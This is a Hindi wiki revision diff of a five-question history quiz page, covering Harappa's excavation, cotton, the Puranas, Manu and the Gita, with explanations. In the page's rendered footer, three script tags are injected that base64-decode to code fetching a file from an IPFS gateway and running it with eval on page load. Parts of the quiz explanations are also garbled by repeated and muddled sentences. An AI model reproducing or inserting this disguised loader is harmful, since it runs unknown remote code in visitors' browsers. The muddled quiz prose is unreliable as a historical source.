Difference between revisions of "इतिहास सामान्य ज्ञान 510"

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{हडप्पा और मोहन जोदा़ड़ों की पुरातात्विक खुदाई का प्रभारी कौन था?  
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{[[हड़प्पा]] और [[मोहनजोदाड़ो|मोहन जोदाड़ो]] की पुरातात्विक खुदाई का प्रभारी कौन था?  
 
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-लार्ड मैकाले  
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-[[लॉर्ड मैकाले|लार्ड मैकाले]]
 
+ सर जॉन मार्शल
 
+ सर जॉन मार्शल
- लार्ड क्लाइव
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- [[लॉर्ड क्लाइव|लार्ड क्लाइव]]
कर्नल टाड  
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-[[कर्नल टॉड|कर्नल टाड]]
||[[चित्र:Mohenjodaro-Sindh.jpg|right|100px|सिंधु घाटी सभ्यता]]सिंधु घाटी सभ्यता (अंग्रेज़ी:Indus Valley Civilization) विश्व की प्राचीन नदी घाटी सभ्यताओं में से एक प्रमुख सभ्यता थी। यह हड़प्पा सभ्यता और सिंधु-सरस्वती सभ्यता के नाम से भी जानी जाती है। आज से लगभग 79 वर्ष पूर्व पाकिस्तान के 'पश्चिमी पंजाब प्रांत' के 'माण्टगोमरी ज़िले' में स्थित 'हरियाणा' के निवासियों को शायद इस बात का किंचित्मात्र भी आभास नहीं था कि वे अपने आस-पास की ज़मीन में दबी जिन ईटों का प्रयोग इतने धड़ल्ले से अपने मकानों के निर्माण में कर रहे हैं, वह कोई साधारण ईटें नहीं, बल्कि लगभग 5,000 वर्ष पुरानी और पूरी तरह विकसित सभ्यता के अवशेष हैं। इसका आभास उन्हें तब हुआ जब 1856 ई. में 'जॉन विलियम ब्रन्टम' ने कराची से लाहौर तक रेलवे लाइन बिछवाने हेतु ईटों की आपूर्ति के इन खण्डहरों की खुदाई प्रारम्भ करवायी। खुदाई के दौरान ही इस सभ्यता के प्रथम अवशेष प्राप्त हुए, जिसे इस सभ्यता का नाम ‘हड़प्पा सभ्यता‘ का नाम दिया गया।'जॉन मार्शल' के निर्देशन में 1921 ई. में 'दयाराम' के पुरातात्विक महत्त्व को स्पष्ट किया। जॉन मार्शल के निर्देशन में 1921 ई. में 'दयाराम साहनी' ने इस स्थल को स्पष्ट किया। जॉन मार्शल के निर्देशन में 1921 ई. में दयाराम साहनी ने इस स्थल का उत्खनन कार्य प्रारम्भ करवाया।{{point}}अधिक जानकारी के लिए देखें:-[[सिंधु घाटी सभ्यता]]
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||[[चित्र:Mohenjodaro-Sindh.jpg|right|100px|सिंधु घाटी सभ्यता]][[सिंधु घाटी सभ्यता]] (अंग्रेज़ी:Indus Valley Civilization) विश्व की प्राचीन नदी घाटी सभ्यताओं में से एक प्रमुख सभ्यता थी। यह [[हड़प्पा सभ्यता]] और '''सिंधु-सरस्वती सभ्यता''' के नाम से भी जानी जाती है। आज से लगभग 79 [[वर्ष]] पूर्व [[पाकिस्तान]] के 'पश्चिमी पंजाब प्रांत' के 'माण्टगोमरी ज़िले' में स्थित 'हरियाणा' के निवासियों को शायद इस बात का किंचित्मात्र भी आभास नहीं था कि वे अपने आस-पास की ज़मीन में दबी जिन ईटों का प्रयोग इतने धड़ल्ले से अपने मकानों के निर्माण में कर रहे हैं, वह कोई साधारण ईटें नहीं, बल्कि लगभग 5,000 वर्ष पुरानी और पूरी तरह विकसित सभ्यता के [[अवशेष]] हैं। इसका आभास उन्हें तब हुआ जब 1856 ई. में 'जॉन विलियम ब्रन्टम' ने [[कराची]] से [[लाहौर]] तक रेलवे लाइन बिछवाने हेतु ईटों की आपूर्ति के इन खण्डहरों की खुदाई प्रारम्भ करवायी। खुदाई के दौरान ही इस सभ्यता के प्रथम अवशेष प्राप्त हुए, जिसे इस सभ्यता का नाम ‘हड़प्पा सभ्यता‘ का नाम दिया गया। 'जॉन मार्शल' के निर्देशन में 1921 ई. में 'दयाराम' के पुरातात्विक महत्त्व को स्पष्ट किया। जॉन मार्शल के निर्देशन में [[1921|1921 ई.]] में 'दयाराम साहनी' ने इस स्थल को स्पष्ट किया। जॉन मार्शल के निर्देशन में 1921 ई. में दयाराम साहनी ने इस स्थल का उत्खनन कार्य प्रारम्भ करवाया।{{point}}अधिक जानकारी के लिए देखें:-[[सिंधु घाटी सभ्यता]]
  
{कपास का उत्पादन सर्वप्रथम सिन्धु क्षेत्र में हुआ, जिसे ग्रीक या यूनान के लोग किस नाम से पुकारते थे?
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{[[कपास]] का उत्पादन सर्वप्रथम सिन्धु क्षेत्र में हुआ, जिसे ग्रीक या [[यूनान]] के लोग किस नाम से पुकारते थे?
 
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+ सिन्डन (Sindon)
 
+ सिन्डन (Sindon)
 
-कॉटन
 
-कॉटन
-हडप्पा
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-[[हड़प्पा|हडप्पा]]
 
-इनमें से कोई नहीं
 
-इनमें से कोई नहीं
||[[चित्र:Cotton.jpg|right|100px|कपास]] कपास भारत की आदि फ़सल है, जिसकी खेती बहुत ही बड़ी मात्रा में की जाती है। यहाँ आर्यावर्त में ऋग्वैदिक काल से ही इसकी खेती की जाती रही है। भारत में इसका इतिहास काफ़ी पुराना है। हड़प्पा निवासी कपास के उत्पादन में संसार भर में प्रथम माने जाते थे। कपास उनके प्रमुख उत्पादनों में से एक था। भारत से ही 327 ई.पू. के लगभग यूनान में इस पौधे का प्रचार हुआ। यह भी उल्लेखनीय है कि भारत से ही यह पौधा चीन और विश्व के अन्य देशों को ले जाया गया। विश्व में प्रतिवर्ष लगभग 150 लाख मीट्रिक टन कपास पैदा होता है। संयुक्त राज्य अमरीका, चीन, भारत, ब्राजील, मिस्र, सूडान आदि कपास के प्रमुख उत्पादक देश हैं।{{point}}अधिक जानकारी के लिए देखें:-[[कपास]]
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||[[चित्र:Cotton.jpg|right|100px|कपास]] [[कपास]] [[भारत]] की आदि फ़सल है, जिसकी खेती बहुत ही बड़ी मात्रा में की जाती है। यहाँ [[आर्यावर्त]] में [[ऋग्वैदिक कालीन महत्त्वपूर्ण शब्द|ऋग्वैदिक काल]] से ही इसकी खेती की जाती रही है। भारत में इसका [[इतिहास]] काफ़ी पुराना है। हड़प्पा निवासी कपास के उत्पादन में संसार भर में प्रथम माने जाते थे। कपास उनके प्रमुख उत्पादनों में से एक था। भारत से ही 327 ई.पू. के लगभग यूनान में इस पौधे का प्रचार हुआ। यह भी उल्लेखनीय है कि भारत से ही यह पौधा [[चीन]] और विश्व के अन्य देशों को ले जाया गया। विश्व में प्रतिवर्ष लगभग 150 लाख मीट्रिक टन कपास पैदा होता है। [[संयुक्त राज्य अमरीका]], चीन, भारत, [[ब्राजील]], [[मिस्र]], सूडान आदि कपास के प्रमुख उत्पादक देश हैं।{{point}}अधिक जानकारी के लिए देखें:-[[कपास]]
  
{पुराणों की संख्या कितनी है?
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{[[पुराण|पुराणों]] की संख्या कितनी है?
 
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||[[चित्र:Puran-1.png |right|100px|पुराण]]पुराणों की रचना वैदिक काल के काफ़ी बाद की है,ये स्मृति विभाग में रखे जाते हैं। पुराणों में सृष्टि के आरम्भ से अन्त तक का विशद विवरण दिया गया है । पुराणों को मनुष्य के भूत, भविष्य, वर्तमान का दर्पण भी कहा जा सकता है । इस दर्पण में मनुष्य अपने प्रत्येक युग का चेहरा देख सकता है। इस दर्पण में अपने अतीत को देखकर वह अपना वर्तमान संवार सकता है और भविष्य को उज्ज्वल बना सकता है । अतीत में जो हुआ, वर्तमान में जो हो रहा है और भविष्य में जो होगा, यही कहते हैं पुराण। इनमें हिन्दू देवी-देवताओं का और पौराणिक मिथकों का बहुत अच्छा वर्णन है। इनकी भाषा सरल और कथा कहानी की तरह है। पुराणों को वेदों और उपनिषदों जैसी प्रतिष्ठा प्राप्त नहीं है।{{point}}अधिक जानकारी के लिए देखें:-[[पुराण]]
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||[[चित्र:Puran-1.png |right|100px|पुराण]][[पुराण|पुराणों]] की रचना [[वैदिक काल]] के काफ़ी बाद की है,ये [[स्मृतियाँ|स्मृति विभाग]] में रखे जाते हैं। पुराणों में सृष्टि के आरम्भ से अन्त तक का विशद विवरण दिया गया है । पुराणों को मनुष्य के भूत, भविष्य, वर्तमान का दर्पण भी कहा जा सकता है । इस दर्पण में मनुष्य अपने प्रत्येक युग का चेहरा देख सकता है। इस दर्पण में अपने अतीत को देखकर वह अपना वर्तमान संवार सकता है और भविष्य को उज्ज्वल बना सकता है । अतीत में जो हुआ, वर्तमान में जो हो रहा है और भविष्य में जो होगा, यही कहते हैं पुराण। इनमें [[हिन्दू]] [[देवी]]-[[देवता|देवताओं]] का और पौराणिक मिथकों का बहुत अच्छा वर्णन है। इनकी [[भाषा]] सरल और [[कथा]] [[कहानी]] की तरह है। पुराणों को [[वेद|वेदों]] और [[उपनिषद|उपनिषदों]] जैसी प्रतिष्ठा प्राप्त नहीं है।{{point}}अधिक जानकारी के लिए देखें:-[[पुराण]]
  
{प्रथम विधि निर्माता कौन है?
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{प्रथम [[विधिशास्त्र|विधि]] के निर्माता कौन है?
 
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+मनु
+
+[[मनु]]
-चाणक्य
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-[[चाणक्य]]
-चन्द्रगुप्त
+
-[[चन्द्रगुप्त]]
-सेल्युकस
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-[[सेल्युकस]]
||मनुस्मृति हिन्दू धर्म का एक प्राचीन धर्मशास्त्र है। इसे मानव-धर्म-शास्त्र, मनुसंहिता आदि नामों से भी जाना जाता है। यह उपदेश के रूप में है जो मनु द्वारा ऋषियों को दिया गया। इसके बाद के धर्मग्रन्थकारों ने मनुस्मृति को एक सन्दर्भ के रूप में स्वीकारते हुए इसका अनुसरण किया है।{{point}}अधिक जानकारी के लिए देखें:-[[मनुस्मृति]]
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||[[मनुस्मृति]] [[हिन्दू धर्म]] का एक प्राचीन [[धर्मशास्त्र]] है। इसे मानव-धर्म-शास्त्र, [[मनुसंहिता]] आदि नामों से भी जाना जाता है। यह उपदेश के रूप में है जो मनु द्वारा [[ऋषि|ऋषियों]] को दिया गया। इसके बाद के धर्मग्रन्थकारों ने मनुस्मृति को एक सन्दर्भ के रूप में स्वीकारते हुए इसका अनुसरण किया है।{{point}}अधिक जानकारी के लिए देखें:-[[मनुस्मृति]]
  
{कृष्ण भक्ति का प्रथम और प्रधान ग्रंथ कौन सा है?  
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{[[कृष्ण|कृष्ण भक्ति]] का प्रथम और प्रधान [[ग्रंथ]] कौन सा है?  
 
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-महाभारत
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-[[महाभारत]]
+श्रीमद्भागवतगीता
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+[[गीता|श्रीमद्भागवतगीता]]
-गीतगोविन्द
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-[[गीतगोविन्द]]
 
-इनमें से कोई नहीं
 
-इनमें से कोई नहीं
||[[चित्र:Gita-Krishna-1.jpg|right|90px|गीता]]हे संजय ! धर्मभूमि कुरुक्षेत्र में एकत्रित, युद्ध की इच्छा वाले मेरे और पाण्डु के पुत्रों ने क्या किया ? ।।1:1।।{{point}}अधिक जानकारी के लिए देखें:-[[गीता]]
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||[[चित्र:Gita-Krishna-1.jpg|right|90px|गीता]]हे संजय ! धर्मभूमि कुरुक्षेत्र में एकत्रित, युद्ध की इच्छा वाले मेरे और [[पाण्डु]] के पुत्रों ने क्या किया ? ।।1:1।।{{point}}अधिक जानकारी के लिए देखें:-[[गीता]]
  
  

Latest revision as of 14:53, 9 August 2019

samany jnan prashnottari
rajyoan ke samany jnan

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  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 h dappa aur mohan joda do ki puratatvik khudaee ka prabhari kaun tha?

lard maikale
sar j aaun marshal
lard klaiv
karnal tad

2 kapas ka utpadan sarvapratham sindhu kshetr mean hua, jise grik ya yoonan ke log kis nam se pukarate the?

sindan (Sindon)
k aautan
hadappa
inamean se koee nahian

3 puranoan ki sankhya kitani hai?

18
19
20
21

4 pratham vidhi ke nirmata kaun hai?

manu
chanaky
chandragupt
selyukas

5 krishna bhakti ka pratham aur pradhan granth kaun sa hai?

mahabharat
shrimadbhagavatagita
gitagovind
inamean se koee nahian

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan

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